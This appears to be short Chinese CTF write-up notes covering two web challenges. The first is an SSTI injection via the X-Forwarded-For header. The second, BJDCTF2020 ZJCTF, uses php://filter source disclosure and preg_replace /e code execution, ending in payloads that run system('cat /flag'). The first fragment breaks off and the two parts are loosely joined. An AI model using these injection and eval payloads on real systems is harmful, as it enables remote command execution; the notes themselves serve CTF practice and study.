这个有点价值 确实很难 
打开后长这样 
得到一个ip地址 直接想到SSTI模板注入 考虑X-Forward-For 应该是可以注入的 
可以进行逻辑运算 
尝试使用payload: X-Forwarded-For: {{system(“ls”)}}  
[BJDCTF2020]ZJCTF,不过如此

所以我们利用php://filter协议去读下next.php的源码。 ?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php 或者 /?text=php://input&file=php://filter/convert.base64-encode/resource=next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
最终payload
/next.php?\S*=${getFlag()}&cmd=system('cat /flag');
payload2:通过构造post传参 next.php?\S*=${eval($_POST[a])} POST: a=system("cat /flag");
|